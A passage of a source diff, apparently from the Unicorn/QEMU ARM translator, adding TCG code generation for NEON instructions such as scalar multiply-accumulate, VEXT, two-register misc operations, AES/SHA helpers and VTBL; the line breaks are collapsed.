tcg_temp_new_i32(tcg_ctx); + if (!u) { + switch (size) { + case 0: + gen_helper_neon_narrow_high_u8(tcg_ctx, tmp, tcg_ctx->cpu_V0); + break; + case 1: + gen_helper_neon_narrow_high_u16(tcg_ctx, tmp, tcg_ctx->cpu_V0); + break; + case 2: + tcg_gen_shri_i64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, 32); + tcg_gen_trunc_i64_i32(tcg_ctx, tmp, tcg_ctx->cpu_V0); + break; + default: abort(); + } + } else { + switch (size) { + case 0: + gen_helper_neon_narrow_round_high_u8(tcg_ctx, tmp, tcg_ctx->cpu_V0); + break; + case 1: + gen_helper_neon_narrow_round_high_u16(tcg_ctx, tmp, tcg_ctx->cpu_V0); + break; + case 2: + tcg_gen_addi_i64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, 1u << 31); + tcg_gen_shri_i64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, 32); + tcg_gen_trunc_i64_i32(tcg_ctx, tmp, tcg_ctx->cpu_V0); + break; + default: abort(); + } + } + if (pass == 0) { + tmp3 = tmp; + } else { + neon_store_reg(tcg_ctx, rd, 0, tmp3); + neon_store_reg(tcg_ctx, rd, 1, tmp); + } + } else { + /* Write back the result. */ + neon_store_reg64(tcg_ctx, tcg_ctx->cpu_V0, rd + pass); + } + } + } else { + /* Two registers and a scalar. NB that for ops of this form + * the ARM ARM labels bit 24 as Q, but it is in our variable + * 'u', not 'q'. + */ + if (size == 0) { + return 1; + } + switch (op) { + case 1: /* Float VMLA scalar */ + case 5: /* Floating point VMLS scalar */ + case 9: /* Floating point VMUL scalar */ + if (size == 1) { + return 1; + } + /* fall through */ + case 0: /* Integer VMLA scalar */ + case 4: /* Integer VMLS scalar */ + case 8: /* Integer VMUL scalar */ + case 12: /* VQDMULH scalar */ + case 13: /* VQRDMULH scalar */ + if (u && ((rd | rn) & 1)) { + return 1; + } + tmp = neon_get_scalar(s, size, rm); + neon_store_scratch(tcg_ctx, 0, tmp); + for (pass = 0; pass < (u ? 4 : 2); pass++) { + tmp = neon_load_scratch(tcg_ctx, 0); + tmp2 = neon_load_reg(tcg_ctx, rn, pass); + if (op == 12) { + if (size == 1) { + gen_helper_neon_qdmulh_s16(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + } else { + gen_helper_neon_qdmulh_s32(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + } + } else if (op == 13) { + if (size == 1) { + gen_helper_neon_qrdmulh_s16(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + } else { + gen_helper_neon_qrdmulh_s32(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + } + } else if (op & 1) { + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + gen_helper_vfp_muls(tcg_ctx, tmp, tmp, tmp2, fpstatus); + tcg_temp_free_ptr(tcg_ctx, fpstatus); + } else { + switch (size) { + case 0: gen_helper_neon_mul_u8(tcg_ctx, tmp, tmp, tmp2); break; + case 1: gen_helper_neon_mul_u16(tcg_ctx, tmp, tmp, tmp2); break; + case 2: tcg_gen_mul_i32(tcg_ctx, tmp, tmp, tmp2); break; + default: abort(); + } + } + tcg_temp_free_i32(tcg_ctx, tmp2); + if (op < 8) { + /* Accumulate. */ + tmp2 = neon_load_reg(tcg_ctx, rd, pass); + switch (op) { + case 0: + gen_neon_add(s, size, tmp, tmp2); + break; + case 1: + { + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + gen_helper_vfp_adds(tcg_ctx, tmp, tmp, tmp2, fpstatus); + tcg_temp_free_ptr(tcg_ctx, fpstatus); + break; + } + case 4: + gen_neon_rsb(s, size, tmp, tmp2); + break; + case 5: + { + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + gen_helper_vfp_subs(tcg_ctx, tmp, tmp2, tmp, fpstatus); + tcg_temp_free_ptr(tcg_ctx, fpstatus); + break; + } + default: + abort(); + } + tcg_temp_free_i32(tcg_ctx, tmp2); + } + neon_store_reg(tcg_ctx, rd, pass, tmp); + } + break; + case 3: /* VQDMLAL scalar */ + case 7: /* VQDMLSL scalar */ + case 11: /* VQDMULL scalar */ + if (u == 1) { + return 1; + } + /* fall through */ + case 2: /* VMLAL sclar */ + case 6: /* VMLSL scalar */ + case 10: /* VMULL scalar */ + if (rd & 1) { + return 1; + } + tmp2 = neon_get_scalar(s, size, rm); + /* We need a copy of tmp2 because gen_neon_mull + * deletes it during pass 0. */ + tmp4 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_mov_i32(tcg_ctx, tmp4, tmp2); + tmp3 = neon_load_reg(tcg_ctx, rn, 1); + + for (pass = 0; pass < 2; pass++) { + if (pass == 0) { + tmp = neon_load_reg(tcg_ctx, rn, 0); + } else { + tmp = tmp3; + tmp2 = tmp4; + } + gen_neon_mull(s, tcg_ctx->cpu_V0, tmp, tmp2, size, u); + if (op != 11) { + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V1, rd + pass); + } + switch (op) { + case 6: + gen_neon_negl(s, tcg_ctx->cpu_V0, size); + /* Fall through */ + case 2: + gen_neon_addl(s, size); + break; + case 3: case 7: + gen_neon_addl_saturate(s, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, size); + if (op == 7) { + gen_neon_negl(s, tcg_ctx->cpu_V0, size); + } + gen_neon_addl_saturate(s, tcg_ctx->cpu_V0, tcg_ctx->cpu_V1, size); + break; + case 10: + /* no-op */ + break; + case 11: + gen_neon_addl_saturate(s, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, size); + break; + default: + abort(); + } + neon_store_reg64(tcg_ctx, tcg_ctx->cpu_V0, rd + pass); + } + + + break; + default: /* 14 and 15 are RESERVED */ + return 1; + } + } + } else { /* size == 3 */ + if (!u) { + /* Extract. */ + imm = (insn >> 8) & 0xf; + + if (imm > 7 && !q) + return 1; + + if (q && ((rd | rn | rm) & 1)) { + return 1; + } + + if (imm == 0) { + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V0, rn); + if (q) { + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V1, rn + 1); + } + } else if (imm == 8) { + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V0, rn + 1); + if (q) { + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V1, rm); + } + } else if (q) { + tmp64 = tcg_temp_new_i64(tcg_ctx); + if (imm < 8) { + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V0, rn); + neon_load_reg64(tcg_ctx, tmp64, rn + 1); + } else { + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V0, rn + 1); + neon_load_reg64(tcg_ctx, tmp64, rm); + } + tcg_gen_shri_i64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, (imm & 7) * 8); + tcg_gen_shli_i64(tcg_ctx, tcg_ctx->cpu_V1, tmp64, 64 - ((imm & 7) * 8)); + tcg_gen_or_i64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, tcg_ctx->cpu_V1); + if (imm < 8) { + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V1, rm); + } else { + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V1, rm + 1); + imm -= 8; + } + tcg_gen_shli_i64(tcg_ctx, tcg_ctx->cpu_V1, tcg_ctx->cpu_V1, 64 - (imm * 8)); + tcg_gen_shri_i64(tcg_ctx, tmp64, tmp64, imm * 8); + tcg_gen_or_i64(tcg_ctx, tcg_ctx->cpu_V1, tcg_ctx->cpu_V1, tmp64); + tcg_temp_free_i64(tcg_ctx, tmp64); + } else { + /* BUGFIX */ + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V0, rn); + tcg_gen_shri_i64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, imm * 8); + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V1, rm); + tcg_gen_shli_i64(tcg_ctx, tcg_ctx->cpu_V1, tcg_ctx->cpu_V1, 64 - (imm * 8)); + tcg_gen_or_i64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, tcg_ctx->cpu_V1); + } + neon_store_reg64(tcg_ctx, tcg_ctx->cpu_V0, rd); + if (q) { + neon_store_reg64(tcg_ctx, tcg_ctx->cpu_V1, rd + 1); + } + } else if ((insn & (1 << 11)) == 0) { + /* Two register misc. */ + op = ((insn >> 12) & 0x30) | ((insn >> 7) & 0xf); + size = (insn >> 18) & 3; + /* UNDEF for unknown op values and bad op-size combinations */ + if ((neon_2rm_sizes[op] & (1 << size)) == 0) { + return 1; + } + if ((op != NEON_2RM_VMOVN && op != NEON_2RM_VQMOVN) && + q && ((rm | rd) & 1)) { + return 1; + } + switch (op) { + case NEON_2RM_VREV64: + for (pass = 0; pass < (q ? 2 : 1); pass++) { + tmp = neon_load_reg(tcg_ctx, rm, pass * 2); + tmp2 = neon_load_reg(tcg_ctx, rm, pass * 2 + 1); + switch (size) { + case 0: tcg_gen_bswap32_i32(tcg_ctx, tmp, tmp); break; + case 1: gen_swap_half(s, tmp); break; + case 2: /* no-op */ break; + default: abort(); + } + neon_store_reg(tcg_ctx, rd, pass * 2 + 1, tmp); + if (size == 2) { + neon_store_reg(tcg_ctx, rd, pass * 2, tmp2); + } else { + switch (size) { + case 0: tcg_gen_bswap32_i32(tcg_ctx, tmp2, tmp2); break; + case 1: gen_swap_half(s, tmp2); break; + default: abort(); + } + neon_store_reg(tcg_ctx, rd, pass * 2, tmp2); + } + } + break; + case NEON_2RM_VPADDL: case NEON_2RM_VPADDL_U: + case NEON_2RM_VPADAL: case NEON_2RM_VPADAL_U: + for (pass = 0; pass < q + 1; pass++) { + tmp = neon_load_reg(tcg_ctx, rm, pass * 2); + gen_neon_widen(s, tcg_ctx->cpu_V0, tmp, size, op & 1); + tmp = neon_load_reg(tcg_ctx, rm, pass * 2 + 1); + gen_neon_widen(s, tcg_ctx->cpu_V1, tmp, size, op & 1); + switch (size) { + case 0: gen_helper_neon_paddl_u16(tcg_ctx, CPU_V001); break; + case 1: gen_helper_neon_paddl_u32(tcg_ctx, CPU_V001); break; + case 2: tcg_gen_add_i64(tcg_ctx, CPU_V001); break; + default: abort(); + } + if (op >= NEON_2RM_VPADAL) { + /* Accumulate. */ + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V1, rd + pass); + gen_neon_addl(s, size); + } + neon_store_reg64(tcg_ctx, tcg_ctx->cpu_V0, rd + pass); + } + break; + case NEON_2RM_VTRN: + if (size == 2) { + int n; + for (n = 0; n < (q ? 4 : 2); n += 2) { + tmp = neon_load_reg(tcg_ctx, rm, n); + tmp2 = neon_load_reg(tcg_ctx, rd, n + 1); + neon_store_reg(tcg_ctx, rm, n, tmp2); + neon_store_reg(tcg_ctx, rd, n + 1, tmp); + } + } else { + goto elementwise; + } + break; + case NEON_2RM_VUZP: + if (gen_neon_unzip(tcg_ctx, rd, rm, size, q)) { + return 1; + } + break; + case NEON_2RM_VZIP: + if (gen_neon_zip(tcg_ctx, rd, rm, size, q)) { + return 1; + } + break; + case NEON_2RM_VMOVN: case NEON_2RM_VQMOVN: + /* also VQMOVUN; op field and mnemonics don't line up */ + if (rm & 1) { + return 1; + } + TCGV_UNUSED_I32(tmp2); + for (pass = 0; pass < 2; pass++) { + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V0, rm + pass); + tmp = tcg_temp_new_i32(tcg_ctx); + gen_neon_narrow_op(s, op == NEON_2RM_VMOVN, q, size, + tmp, tcg_ctx->cpu_V0); + if (pass == 0) { + tmp2 = tmp; + } else { + neon_store_reg(tcg_ctx, rd, 0, tmp2); + neon_store_reg(tcg_ctx, rd, 1, tmp); + } + } + break; + case NEON_2RM_VSHLL: + if (q || (rd & 1)) { + return 1; + } + tmp = neon_load_reg(tcg_ctx, rm, 0); + tmp2 = neon_load_reg(tcg_ctx, rm, 1); + for (pass = 0; pass < 2; pass++) { + if (pass == 1) + tmp = tmp2; + gen_neon_widen(s, tcg_ctx->cpu_V0, tmp, size, 1); + tcg_gen_shli_i64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, 8 << size); + neon_store_reg64(tcg_ctx, tcg_ctx->cpu_V0, rd + pass); + } + break; + case NEON_2RM_VCVT_F16_F32: + if (!arm_dc_feature(s, ARM_FEATURE_VFP_FP16) || + q || (rm & 1)) { + return 1; + } + tmp = tcg_temp_new_i32(tcg_ctx); + tmp2 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_ld_f32(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_env, neon_reg_offset(rm, 0)); + gen_helper_neon_fcvt_f32_to_f16(tcg_ctx, tmp, tcg_ctx->cpu_F0s, tcg_ctx->cpu_env); + tcg_gen_ld_f32(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_env, neon_reg_offset(rm, 1)); + gen_helper_neon_fcvt_f32_to_f16(tcg_ctx, tmp2, tcg_ctx->cpu_F0s, tcg_ctx->cpu_env); + tcg_gen_shli_i32(tcg_ctx, tmp2, tmp2, 16); + tcg_gen_or_i32(tcg_ctx, tmp2, tmp2, tmp); + tcg_gen_ld_f32(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_env, neon_reg_offset(rm, 2)); + gen_helper_neon_fcvt_f32_to_f16(tcg_ctx, tmp, tcg_ctx->cpu_F0s, tcg_ctx->cpu_env); + tcg_gen_ld_f32(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_env, neon_reg_offset(rm, 3)); + neon_store_reg(tcg_ctx, rd, 0, tmp2); + tmp2 = tcg_temp_new_i32(tcg_ctx); + gen_helper_neon_fcvt_f32_to_f16(tcg_ctx, tmp2, tcg_ctx->cpu_F0s, tcg_ctx->cpu_env); + tcg_gen_shli_i32(tcg_ctx, tmp2, tmp2, 16); + tcg_gen_or_i32(tcg_ctx, tmp2, tmp2, tmp); + neon_store_reg(tcg_ctx, rd, 1, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp); + break; + case NEON_2RM_VCVT_F32_F16: + if (!arm_dc_feature(s, ARM_FEATURE_VFP_FP16) || + q || (rd & 1)) { + return 1; + } + tmp3 = tcg_temp_new_i32(tcg_ctx); + tmp = neon_load_reg(tcg_ctx, rm, 0); + tmp2 = neon_load_reg(tcg_ctx, rm, 1); + tcg_gen_ext16u_i32(tcg_ctx, tmp3, tmp); + gen_helper_neon_fcvt_f16_to_f32(tcg_ctx, tcg_ctx->cpu_F0s, tmp3, tcg_ctx->cpu_env); + tcg_gen_st_f32(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_env, neon_reg_offset(rd, 0)); + tcg_gen_shri_i32(tcg_ctx, tmp3, tmp, 16); + gen_helper_neon_fcvt_f16_to_f32(tcg_ctx, tcg_ctx->cpu_F0s, tmp3, tcg_ctx->cpu_env); + tcg_gen_st_f32(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_env, neon_reg_offset(rd, 1)); + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_gen_ext16u_i32(tcg_ctx, tmp3, tmp2); + gen_helper_neon_fcvt_f16_to_f32(tcg_ctx, tcg_ctx->cpu_F0s, tmp3, tcg_ctx->cpu_env); + tcg_gen_st_f32(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_env, neon_reg_offset(rd, 2)); + tcg_gen_shri_i32(tcg_ctx, tmp3, tmp2, 16); + gen_helper_neon_fcvt_f16_to_f32(tcg_ctx, tcg_ctx->cpu_F0s, tmp3, tcg_ctx->cpu_env); + tcg_gen_st_f32(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_env, neon_reg_offset(rd, 3)); + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp3); + break; + case NEON_2RM_AESE: case NEON_2RM_AESMC: + if (!arm_dc_feature(s, ARM_FEATURE_V8_AES) + || ((rm | rd) & 1)) { + return 1; + } + tmp = tcg_const_i32(tcg_ctx, rd); + tmp2 = tcg_const_i32(tcg_ctx, rm); + + /* Bit 6 is the lowest opcode bit; it distinguishes between + * encryption (AESE/AESMC) and decryption (AESD/AESIMC) + */ + tmp3 = tcg_const_i32(tcg_ctx, extract32(insn, 6, 1)); + + if (op == NEON_2RM_AESE) { + gen_helper_crypto_aese(tcg_ctx, tcg_ctx->cpu_env, tmp, tmp2, tmp3); + } else { + gen_helper_crypto_aesmc(tcg_ctx, tcg_ctx->cpu_env, tmp, tmp2, tmp3); + } + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp3); + break; + case NEON_2RM_SHA1H: + if (!arm_dc_feature(s, ARM_FEATURE_V8_SHA1) + || ((rm | rd) & 1)) { + return 1; + } + tmp = tcg_const_i32(tcg_ctx, rd); + tmp2 = tcg_const_i32(tcg_ctx, rm); + + gen_helper_crypto_sha1h(tcg_ctx, tcg_ctx->cpu_env, tmp, tmp2); + + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_temp_free_i32(tcg_ctx, tmp2); + break; + case NEON_2RM_SHA1SU1: + if ((rm | rd) & 1) { + return 1; + } + /* bit 6 (q): set -> SHA256SU0, cleared -> SHA1SU1 */ + if (q) { + if (!arm_dc_feature(s, ARM_FEATURE_V8_SHA256)) { + return 1; + } + } else if (!arm_dc_feature(s, ARM_FEATURE_V8_SHA1)) { + return 1; + } + tmp = tcg_const_i32(tcg_ctx, rd); + tmp2 = tcg_const_i32(tcg_ctx, rm); + if (q) { + gen_helper_crypto_sha256su0(tcg_ctx, tcg_ctx->cpu_env, tmp, tmp2); + } else { + gen_helper_crypto_sha1su1(tcg_ctx, tcg_ctx->cpu_env, tmp, tmp2); + } + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_temp_free_i32(tcg_ctx, tmp2); + break; + default: + elementwise: + for (pass = 0; pass < (q ? 4 : 2); pass++) { + if (neon_2rm_is_float_op(op)) { + tcg_gen_ld_f32(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_env, + neon_reg_offset(rm, pass)); + TCGV_UNUSED_I32(tmp); + } else { + tmp = neon_load_reg(tcg_ctx, rm, pass); + } + switch (op) { + case NEON_2RM_VREV32: + switch (size) { + case 0: tcg_gen_bswap32_i32(tcg_ctx, tmp, tmp); break; + case 1: gen_swap_half(s, tmp); break; + default: abort(); + } + break; + case NEON_2RM_VREV16: + gen_rev16(s, tmp); + break; + case NEON_2RM_VCLS: + switch (size) { + case 0: gen_helper_neon_cls_s8(tcg_ctx, tmp, tmp); break; + case 1: gen_helper_neon_cls_s16(tcg_ctx, tmp, tmp); break; + case 2: gen_helper_neon_cls_s32(tcg_ctx, tmp, tmp); break; + default: abort(); + } + break; + case NEON_2RM_VCLZ: + switch (size) { + case 0: gen_helper_neon_clz_u8(tcg_ctx, tmp, tmp); break; + case 1: gen_helper_neon_clz_u16(tcg_ctx, tmp, tmp); break; + case 2: gen_helper_clz(tcg_ctx, tmp, tmp); break; + default: abort(); + } + break; + case NEON_2RM_VCNT: + gen_helper_neon_cnt_u8(tcg_ctx, tmp, tmp); + break; + case NEON_2RM_VMVN: + tcg_gen_not_i32(tcg_ctx, tmp, tmp); + break; + case NEON_2RM_VQABS: + switch (size) { + case 0: + gen_helper_neon_qabs_s8(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp); + break; + case 1: + gen_helper_neon_qabs_s16(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp); + break; + case 2: + gen_helper_neon_qabs_s32(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp); + break; + default: abort(); + } + break; + case NEON_2RM_VQNEG: + switch (size) { + case 0: + gen_helper_neon_qneg_s8(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp); + break; + case 1: + gen_helper_neon_qneg_s16(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp); + break; + case 2: + gen_helper_neon_qneg_s32(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp); + break; + default: abort(); + } + break; + case NEON_2RM_VCGT0: case NEON_2RM_VCLE0: + tmp2 = tcg_const_i32(tcg_ctx, 0); + switch(size) { + case 0: gen_helper_neon_cgt_s8(tcg_ctx, tmp, tmp, tmp2); break; + case 1: gen_helper_neon_cgt_s16(tcg_ctx, tmp, tmp, tmp2); break; + case 2: gen_helper_neon_cgt_s32(tcg_ctx, tmp, tmp, tmp2); break; + default: abort(); + } + tcg_temp_free_i32(tcg_ctx, tmp2); + if (op == NEON_2RM_VCLE0) { + tcg_gen_not_i32(tcg_ctx, tmp, tmp); + } + break; + case NEON_2RM_VCGE0: case NEON_2RM_VCLT0: + tmp2 = tcg_const_i32(tcg_ctx, 0); + switch(size) { + case 0: gen_helper_neon_cge_s8(tcg_ctx, tmp, tmp, tmp2); break; + case 1: gen_helper_neon_cge_s16(tcg_ctx, tmp, tmp, tmp2); break; + case 2: gen_helper_neon_cge_s32(tcg_ctx, tmp, tmp, tmp2); break; + default: abort(); + } + tcg_temp_free_i32(tcg_ctx, tmp2); + if (op == NEON_2RM_VCLT0) { + tcg_gen_not_i32(tcg_ctx, tmp, tmp); + } + break; + case NEON_2RM_VCEQ0: + tmp2 = tcg_const_i32(tcg_ctx, 0); + switch(size) { + case 0: gen_helper_neon_ceq_u8(tcg_ctx, tmp, tmp, tmp2); break; + case 1: gen_helper_neon_ceq_u16(tcg_ctx, tmp, tmp, tmp2); break; + case 2: gen_helper_neon_ceq_u32(tcg_ctx, tmp, tmp, tmp2); break; + default: abort(); + } + tcg_temp_free_i32(tcg_ctx, tmp2); + break; + case NEON_2RM_VABS: + switch(size) { + case 0: gen_helper_neon_abs_s8(tcg_ctx, tmp, tmp); break; + case 1: gen_helper_neon_abs_s16(tcg_ctx, tmp, tmp); break; + case 2: tcg_gen_abs_i32(s, tmp, tmp); break; + default: abort(); + } + break; + case NEON_2RM_VNEG: + tmp2 = tcg_const_i32(tcg_ctx, 0); + gen_neon_rsb(s, size, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + break; + case NEON_2RM_VCGT0_F: + { + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + tmp2 = tcg_const_i32(tcg_ctx, 0); + gen_helper_neon_cgt_f32(tcg_ctx, tmp, tmp, tmp2, fpstatus); + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_temp_free_ptr(tcg_ctx, fpstatus); + break; + } + case NEON_2RM_VCGE0_F: + { + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + tmp2 = tcg_const_i32(tcg_ctx, 0); + gen_helper_neon_cge_f32(tcg_ctx, tmp, tmp, tmp2, fpstatus); + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_temp_free_ptr(tcg_ctx, fpstatus); + break; + } + case NEON_2RM_VCEQ0_F: + { + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + tmp2 = tcg_const_i32(tcg_ctx, 0); + gen_helper_neon_ceq_f32(tcg_ctx, tmp, tmp, tmp2, fpstatus); + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_temp_free_ptr(tcg_ctx, fpstatus); + break; + } + case NEON_2RM_VCLE0_F: + { + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + tmp2 = tcg_const_i32(tcg_ctx, 0); + gen_helper_neon_cge_f32(tcg_ctx, tmp, tmp2, tmp, fpstatus); + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_temp_free_ptr(tcg_ctx, fpstatus); + break; + } + case NEON_2RM_VCLT0_F: + { + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + tmp2 = tcg_const_i32(tcg_ctx, 0); + gen_helper_neon_cgt_f32(tcg_ctx, tmp, tmp2, tmp, fpstatus); + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_temp_free_ptr(tcg_ctx, fpstatus); + break; + } + case NEON_2RM_VABS_F: + gen_vfp_abs(s, 0); + break; + case NEON_2RM_VNEG_F: + gen_vfp_neg(s, 0); + break; + case NEON_2RM_VSWP: + tmp2 = neon_load_reg(tcg_ctx, rd, pass); + neon_store_reg(tcg_ctx, rm, pass, tmp2); + break; + case NEON_2RM_VTRN: + tmp2 = neon_load_reg(tcg_ctx, rd, pass); + switch (size) { + case 0: gen_neon_trn_u8(tcg_ctx, tmp, tmp2); break; + case 1: gen_neon_trn_u16(tcg_ctx, tmp, tmp2); break; + default: abort(); + } + neon_store_reg(tcg_ctx, rm, pass, tmp2); + break; + case NEON_2RM_VRINTN: + case NEON_2RM_VRINTA: + case NEON_2RM_VRINTM: + case NEON_2RM_VRINTP: + case NEON_2RM_VRINTZ: + { + TCGv_i32 tcg_rmode; + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + int rmode; + + if (op == NEON_2RM_VRINTZ) { + rmode = FPROUNDING_ZERO; + } else { + rmode = fp_decode_rm[((op & 0x6) >> 1) ^ 1]; + } + + tcg_rmode = tcg_const_i32(tcg_ctx, arm_rmode_to_sf(rmode)); + gen_helper_set_neon_rmode(tcg_ctx, tcg_rmode, tcg_rmode, + tcg_ctx->cpu_env); + gen_helper_rints(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F0s, fpstatus); + gen_helper_set_neon_rmode(tcg_ctx, tcg_rmode, tcg_rmode, + tcg_ctx->cpu_env); + tcg_temp_free_ptr(tcg_ctx, fpstatus); + tcg_temp_free_i32(tcg_ctx, tcg_rmode); + break; + } + case NEON_2RM_VRINTX: + { + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + gen_helper_rints_exact(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F0s, fpstatus); + tcg_temp_free_ptr(tcg_ctx, fpstatus); + break; + } + case NEON_2RM_VCVTAU: + case NEON_2RM_VCVTAS: + case NEON_2RM_VCVTNU: + case NEON_2RM_VCVTNS: + case NEON_2RM_VCVTPU: + case NEON_2RM_VCVTPS: + case NEON_2RM_VCVTMU: + case NEON_2RM_VCVTMS: + { + bool is_signed = !extract32(insn, 7, 1); + TCGv_ptr fpst = get_fpstatus_ptr(s, 1); + TCGv_i32 tcg_rmode, tcg_shift; + int rmode = fp_decode_rm[extract32(insn, 8, 2)]; + + tcg_shift = tcg_const_i32(tcg_ctx, 0); + tcg_rmode = tcg_const_i32(tcg_ctx, arm_rmode_to_sf(rmode)); + gen_helper_set_neon_rmode(tcg_ctx, tcg_rmode, tcg_rmode, + tcg_ctx->cpu_env); + + if (is_signed) { + gen_helper_vfp_tosls(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F0s, + tcg_shift, fpst); + } else { + gen_helper_vfp_touls(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F0s, + tcg_shift, fpst); + } + + gen_helper_set_neon_rmode(tcg_ctx, tcg_rmode, tcg_rmode, + tcg_ctx->cpu_env); + tcg_temp_free_i32(tcg_ctx, tcg_rmode); + tcg_temp_free_i32(tcg_ctx, tcg_shift); + tcg_temp_free_ptr(tcg_ctx, fpst); + break; + } + case NEON_2RM_VRECPE: + { + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + gen_helper_recpe_u32(tcg_ctx, tmp, tmp, fpstatus); + tcg_temp_free_ptr(tcg_ctx, fpstatus); + break; + } + case NEON_2RM_VRSQRTE: + { + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + gen_helper_rsqrte_u32(tcg_ctx, tmp, tmp, fpstatus); + tcg_temp_free_ptr(tcg_ctx, fpstatus); + break; + } + case NEON_2RM_VRECPE_F: + { + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + gen_helper_recpe_f32(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F0s, fpstatus); + tcg_temp_free_ptr(tcg_ctx, fpstatus); + break; + } + case NEON_2RM_VRSQRTE_F: + { + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + gen_helper_rsqrte_f32(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_F0s, fpstatus); + tcg_temp_free_ptr(tcg_ctx, fpstatus); + break; + } + case NEON_2RM_VCVT_FS: /* VCVT.F32.S32 */ + gen_vfp_sito(s, 0, 1); + break; + case NEON_2RM_VCVT_FU: /* VCVT.F32.U32 */ + gen_vfp_uito(s, 0, 1); + break; + case NEON_2RM_VCVT_SF: /* VCVT.S32.F32 */ + gen_vfp_tosiz(s, 0, 1); + break; + case NEON_2RM_VCVT_UF: /* VCVT.U32.F32 */ + gen_vfp_touiz(s, 0, 1); + break; + default: + /* Reserved op values were caught by the + * neon_2rm_sizes[] check earlier. + */ + abort(); + } + if (neon_2rm_is_float_op(op)) { + tcg_gen_st_f32(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_env, + neon_reg_offset(rd, pass)); + } else { + neon_store_reg(tcg_ctx, rd, pass, tmp); + } + } + break; + } + } else if ((insn & (1 << 10)) == 0) { + /* VTBL, VTBX. */ + int n = ((insn >> 8) & 3) + 1; + if ((rn + n) > 32) { + /* This is UNPREDICTABLE; we choose to UNDEF to avoid the + * helper function running off the end of the register file. + */ + return 1; + } + n <<= 3; + if (insn & (1 << 6)) { + tmp = neon_load_reg(tcg_ctx, rd, 0); + } else { + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp, 0); + } + tmp2 = neon_load_reg(tcg_ctx, rm, 0); + tmp4 = tcg_const_i32(tcg_ctx, rn); + tmp5 = tcg_const_i32(tcg_ctx, n); + gen_helper_neon_tbl(tcg_ctx, tmp2, 